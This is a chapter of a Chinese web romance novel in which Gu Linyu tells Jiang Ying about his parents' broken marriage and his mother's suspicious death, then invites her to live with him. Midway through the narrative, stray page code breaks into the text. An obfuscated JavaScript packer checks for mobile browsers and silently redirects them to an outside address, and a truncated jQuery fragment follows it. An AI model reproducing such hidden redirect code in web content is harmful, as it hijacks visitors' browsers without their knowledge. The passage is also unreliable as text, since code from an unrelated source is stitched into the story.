顾凛予站直身体,走近她。
姜影手上的东西都还来不及放回去,已经被他随手拿走。
顾凛予学着她的样子,正反翻着也像是没看明白一样,重复好几遍,而后,眉眼稍扬,玩味问她:“什么时候瞒着我,还考了全英文的试?”
姜影没忍住,翻他一记白眼,“我能有这么优秀?谁知道是你哪个前女友落下的吧。”
“在套我话?”顾凛予笑得放肆,“除了你,还没哪个女的能这么踏进我家门。”
姜影心跳重了一瞬。
她没说话。
倒是顾凛予,像和她兜圈子的游戏玩上瘾了。
他继续问:“怎么?没别的话要问我了?”
姜影也不躲,拿过他手里那份成绩单,指着最上面Silas G.的英文署名,好奇,“这个人是你?”
顾凛予挑眉,默认。
姜影指着还夹在书里的另外几份,“所以,这些都是你曾经在国外的考试成绩?”
“是。”顾凛予坦坦荡荡。
姜影不理解,“那你为什么回国之后成绩表现得这么差?你比我厉害,这些题目我不会的,你却都是满分。你本可以当全年级那个最耀眼的人,而不是现在这样,大家提到你,除了觉得不能惹你,并不觉得你抛开家世、恋爱之外,还有其他什么不可替代的长处。”
姜影话说得很直白,且这些话,如果放之前他们关系还很差那会儿,顾凛予听了一定会生气,且会说话很难听地警告、疏离她。
但今晚,顾凛予没有。
他只不过扫了眼满分的那几个数字,平静看向姜影,“当了现在所谓耀眼的年级第一,然后呢?”
“什么?”姜影微怔。
“一个对我来说,没有任何好处的头衔。”顾凛予道,“姜影,我不会傻到主动跳进他们的圈套。”
他们?
顾柏青和白岑虞吗?
姜影直觉自己猜的没错。
可为什么呢?
顾凛予为什么这么恨他们?
而他们之间的关系又为什么会像仇人一样僵?
这些问题,顾凛予都在姜影的眼睛里看到了疑惑。
不得不说,人与人之间的关系真的很有意思。
以前,他从不觉得会与姜影这种性格的女生有交集。
其实第一次见面,他就看到了她虚假乖张皮囊下的乖巧。
真叛逆的人,怎么会在说出这种离经叛道的话后,事后一个人藏在角落拼命地深呼吸。
又怎么会在真许诺出现之后,在他刻意捉弄她加快跑车速度后,下车呕吐还愧疚地想把钱还给他。
又怎么会......一次次地在本该虚与委蛇的场合,用自己的真心铸就他的安全感。
她让他安心。
像庇护所一般的,靠近她,他就自愿卸下冷硬躯壳,去真心碰真心。
这一秒,顾凛予静静地看着姜影的眼睛,问她:“不好奇么?我过去经历过什么?”
姜影好奇。
但分寸感让她不会在他不愿意的条件下,去随便窥探他的隐私。
姜影:“好奇,你愿意说吗?”
顾凛予勾唇:“如果我愿意说,你给我什么奖励?”
姜影:“?”
“你自愿说的,怎么还要我给你奖励?”
顾凛予轻笑:“你听到的可是绝版的秘密,真不打算给我点儿什么?嗯?”
“......”
难怪说资本容易出强盗呢。
姜影现在觉得顾凛予就是个强盗本盗,勉为其难答应:“行吧,你说。”
顾凛予笑意更浓。
书房独有的冷暖色相融。
伴着浅浅的木质香味,顾凛予亲手带姜影走进了他过去曾经那个真正肆意辉煌,众人羡慕的顶配人生。
.......
顾凛予是带着万千期待出生的,顾家第八代。
唐闵斐原先怀孕时期,还以为会生个女儿,特别期待,没想到会生下个儿子,对顾凛予也是全身心地投入培养。
顾凛予的父母,顾柏青和唐闵斐,都出身于老钱豪门世家。
这么多年,顾家在金融、医药、建筑、实业多个方向都有极佳建树,行业内名声显赫,资源、人脉极广。
唐家则在能源、酒业、房地产有很强竞争力,多年热衷收藏与慈善。
当初,顾柏青听从了家里的安排进了家族企业。
唐闵斐却另辟蹊径,做了唐家并不看好的时装香水,而后创办了自己的公司。
一路顺风顺水,就连他俩恋爱,都被当时最爱拍豪门秘事的娱记称为才子佳人。
却没想到接下来的联姻,成了两人各走下坡路的开始。
顾柏青原先并不是顾老看好的继承人一号位,是唐闵斐的出现,对顾柏青的鼎力支持,包括身后的唐家支援,才让顾柏青有了进到集团内部核心位深耕的机会。
顾柏青也一如唐闵斐期待的那样,很争气,不到两年就彻底驻扎集团,让顾老及顾家长辈都对他刮目相看。
这期间,不乏有唐闵斐对他商业方向的指引。
其实顾柏青自己心里也清楚,论从商,唐闵斐比他更具对商业的敏感度。
偏偏唐闵斐自己对这些没兴趣,也就彻底给了顾柏青利用她才华的机会。
唐闵斐聪明、能干、对投资的高度敏感让顾柏青接二连三拿下顾氏至高重要的项目。
也就此,第三年,顾柏青直接升成了顾氏核心项目的负责人,多家分公司的一把手。
而升职后,唐闵斐觉得自己帮顾柏青至此,也可以去做一些自己喜欢的事情。
顾柏青起先很支持她。
唐闵斐办展,做杂志,看时装,坐镇公司新款香水的发布会。
一切都运作的风生水起。
夫妻强强联手,日子过得如日中天。
也在结婚第五年,唐闵斐查出了怀孕。
孕期,怀孕反应并不严重,唐闵斐也一直兼顾事业。
还创立了唐闵斐公司爆款了十几年的头部系列,Silas X.。
是极具性、暧昧、缠绵的一款香水。
一度被称为最具流量的爱情香水。
却在某一天,唐闵斐忙完工作,挺着孕肚回到家。
刚进家门,花瓶就被用力砸碎在地上。
扶着门框的唐闵斐吓了一跳,看着屋内风雨欲来的顾柏青,神色未定,依旧温柔询问:“柏青,怎么了?”
“你还好意思问我怎么了?”顾柏青愤怒指着电视上那播放着的香水发布会,“我不是让你别再碰这个系列吗?你知道外面都怎么传的吗?说你这款是专门是夜店、小三勾引人设计的!豪门最懂豪门秘辛!说你卖的都是豪门性、欲香水!”
“......”
唐闵斐不理解,“他们口无遮拦的诋毁,这你也要生气和我吵架吗?”
顾柏青怒不可遏,“唐闵斐!你为什么总要做一些我不喜欢的事情?”
“我总要做你不喜欢的事情?”
唐闵斐指着自己,觉得荒唐,“顾柏青,我是和你结婚,不是来当你的附属玩具的。你的不喜欢我尊重,但也起码请你先站在尊重我的立场上和我说话。我没有必要为了你所谓的面子而停止我的事业。”
“为了我的面子?”顾柏青冷笑,“你觉得你的事业值几个钱?你信不信我明天就让你公司倒闭?”
“......”
唐闵斐没有立刻说话,而是沉默与他对视。
对峙的一秒、两秒.......
第三秒还没到,唐闵斐冷静下的口吻,冷眼觑他,“顾柏青,你最好别忘了,你自己是怎么走到今天这一步的。”
说完,“砰”的一声,她转身,摔门离开。
又是重烈一声,顾柏青手里的酒杯彻底砸碎在门边。
酒杯中的透明酒渍淌了一地。
也是从这一天开始,唐闵斐的随心所欲,顾柏青的死要面子,两人之间横亘起了很高的一座墙,阻挡了亲密,更阻挡了爱情。
十月怀胎,顾凛予是生下来了。
但父亲的关爱,也直接因夫妻关系的破裂而划上了句号。
唐闵斐坐完月子就把顾凛予带回了自己的别墅。
接下来将近两年,她都没再怎么见到顾柏青,顾老说是顾柏青被安排开拓海外市场了,但实则唐闵斐的人,拍到了顾柏青回国花天酒地的模样儿。
顾凛予的说话、走路、上学、后续培养,唐闵斐都做到了亲力亲为。
顾柏青只不过那个偶尔会出现撒点儿顾凛予根本看不上的钱的冷漠父亲。
以至于十岁那年,某天在西餐厅里,顾凛予看到顾柏青带着一个陌生女人暧昧用餐,还是他反问的唐闵斐:“妈,你还不和那个男人离婚吗?他在浪费你的时间。”
唐闵斐只笑笑,这个婚,她不是没有提过,是很难离。
她和顾柏青的共同利益太多。
她没法全身而退。
她必须为顾凛予争取更多。
所以唐闵斐派人拍了顾柏青一系列有利于自己的照片、视频。
还“意外”和顾柏青身边的那个女人见了面。
殊不知,见面刚坐下,对面那个妖冶打扮的女人就翘起红唇,伸手笑道:“顾太太,我认识你,你好啊,我是白岑虞,柏青的现任爱人。”
其实顾凛予知道唐闵斐去见那个女人了。
他本想跟去,唐闵斐不同意。
顾凛予只能悄悄跟着。
他记得很清楚,那天,他不知道那个女人和唐闵斐说了什么,唐闵斐的状态变得前所未有的沮丧、低落。
甚至开口和他说的第一句话是:“小予,我们出国吧,妈妈带你去学你最喜欢的赛车。”
那时候,顾凛予还小,十岁怎么可能学得了赛车呢?
说喜欢也只能停留在喜欢。
但唐闵斐真的收拾好他们的行李,很快出国,为顾凛予找了学校,更请了专业的教练培养他,为托举他成为最好的他,做了最完善的投入和规划。
顾凛予不知道唐闵斐究竟是怎么了。
他只知道,国外太多个日夜,唐闵斐都在哭,却还在他面前装坚强。
也就是十五岁那年,他被人恶意挑起冲突,人被扣,唐闵斐结束应酬赶去保他那晚。
她的原定计划是第二天回国,彻底完成资产重组,把顾柏青完全踢出她的利益圈和顾家利益圈之后,让他净身出户,和他离婚。
可惜命运弄人。
就在当晚,唐闵斐出了车祸,人没了。
车祸地点,是他刚结束赛车比赛的赛场外。
距离顾凛予所在的拘留所,仅仅十公里。
....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006726|193033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
..
也许是午夜梦回,实在梦到太多次这些画面了。
以至于顾凛予和姜影讲述这些过去时,他几乎是死水无澜的淡漠,该难过么?他不知道。
他只知道早在很久之前,他的眼泪就已经流干了。
唐闵斐生前总告诉他,男儿有泪不轻弹,你现在是小男生,但以后就是顶天立地可以保护你爱的人的男人。
男人是不可以哭的。
所以后来,难过没了,他也再也没了眼泪这种东西。
姜影酸涩地看着他。
她心疼他,自己眼眶都有些红了。
顾凛予回神,看着她这么代入的难受,好笑地抬手,轻抹了下她染着雾气氤氲的眼角,“我的事,你哭什么?”
姜影轻轻吸了下鼻子,“对不起,我不知道你过去会这么痛苦。”
“还行吧。”顾凛予轻描淡写扬了下唇角,“这年头,谁还没点儿痛苦的回忆呢?我有,你没有么?”
“......”
姜影没说话。
是顾凛予早就知道,他们不是一路人,却也可以是一路人。
“好了。”
他替她擦的干干净净,“挺好看一张脸儿,哭花了还以为我欺负你呢。”
姜影赶紧自己又擦了好几遍。
她把手里的试卷递给他,“所以你藏拙,不让他们看到你的优秀,你觉得你母亲不该是那样的结局是吗?”
姜影说得很隐晦。
却也说的百分百正确。
顾凛予不傻,当然很清楚几年前他的被扣,唐闵斐的事故都不可能是巧合。
他看着她眼睛,“你不也有想要知道的答案么?”
“姜影,我帮你。”
这五个字,在姜影耳边徘徊了好多好多遍。
听到的那一瞬,她心跳几乎都要停止了。
走到这一步,她不该再隐瞒他什么了。
却还是想问:“你知道了什么?”
“你的父亲,姜铭河。”顾凛予坦然道,“之前在顾氏任职,他也不该碰上那场意外,不是么?”
姜影呼吸加速,脉搏狂跳。
没说话的默认代表了一切。
所以他帮她,也希望她心甘情愿地和他站在一边,而不该成为任何人的棋子。
室内的灯光明明温暖,这一刻,姜影却觉得格外刺眼。
刺得她深藏的那颗心,也渐渐剥离冷壳,热烈袒露在顾凛予面前。
“你愿意选择我么?”顾凛予低沉问她,“这次,让我来当你的利刃。”
这一刻,心动取代彷徨。
“......好。”
姜影听自己郑重其事道,“我选择你。”
却也同时,她鼻尖酸涩,喉咙沙哑,依然低声道:“顾凛予,谢谢你愿意帮我。”
像生死的契约,已然在他们之间,牢牢地定下。
无论如何,都无法让反悔再搅乱他们彼此。
顾凛予淡淡笑了,从未有的如释重负。
他抬手,很轻地揉了下她的脑袋,掌心的温热,让她安宁、平静、又难藏的悸动。
顾凛予沉哑笑道:“傻瓜。”
接下来,比试卷成绩更优秀的,姜影在顾凛予的电脑里,看到了他斯坦福的录取通知。
他却选择了拒绝。
夜下寂静,她心却躁动。
“不准备再去了吗?”
姜影可惜看他,“这么好的机会。”
顾凛予:“想和我一起去上么?”
“什么?”
姜影从未想过,人生还会有这种敞亮的可能,“我......”
她没有勇气,更没有机会去触碰。
“姜影,和我一起去。”
顾凛予足够冷静沉稳道。
“可我——”
顾凛予宽厚的掌心很温柔地摸着她的后脑勺。
姜影停顿了。
她想和他一起。
原来他比她想的,要好得多得多。
“顾凛予。”
“嗯?”
“你知道吗?”姜影弯眼,眼眸似月牙,清丽甜美,“你真的很像一个......我的人。”
“你的人?”顾凛予稍顿,笑了,“什么?”
“我的贵人。”
姜影笑呵呵的,顾凛予也被她逗笑了。
倏然,姜影手机震动了下。
房东给她发来了条消息:「小姑娘,不好意思啊,我最近接到拆迁的消息,可能你在住的这套房接下来政府要拆掉了,你看什么时候方便,可能要开始找新房子了。」
隔着一点儿距离,顾凛予敛眸,一眼扫完手机上全部的内容。
“你要找新房子了?”他问。
姜影还没反应过来,“......好像是。”
“那正好。”天赐的机会,顾凛予痞笑。
“什么?”姜影错愕抬头。
明晃晃的光线,两人隔空撞上目光。
对视。
顾凛予眼眸深邃,直勾勾地看着她,唇边的笑缱绻又暧昧,轻佻勾人,“考虑搬来和我一起住么?”
“有空的房间,免费的。”
他嗓音低沉道,“我不收你房租,就当奖励了。”
姜影:“......?”
一时不知道,这是在奖励她,还是奖励他。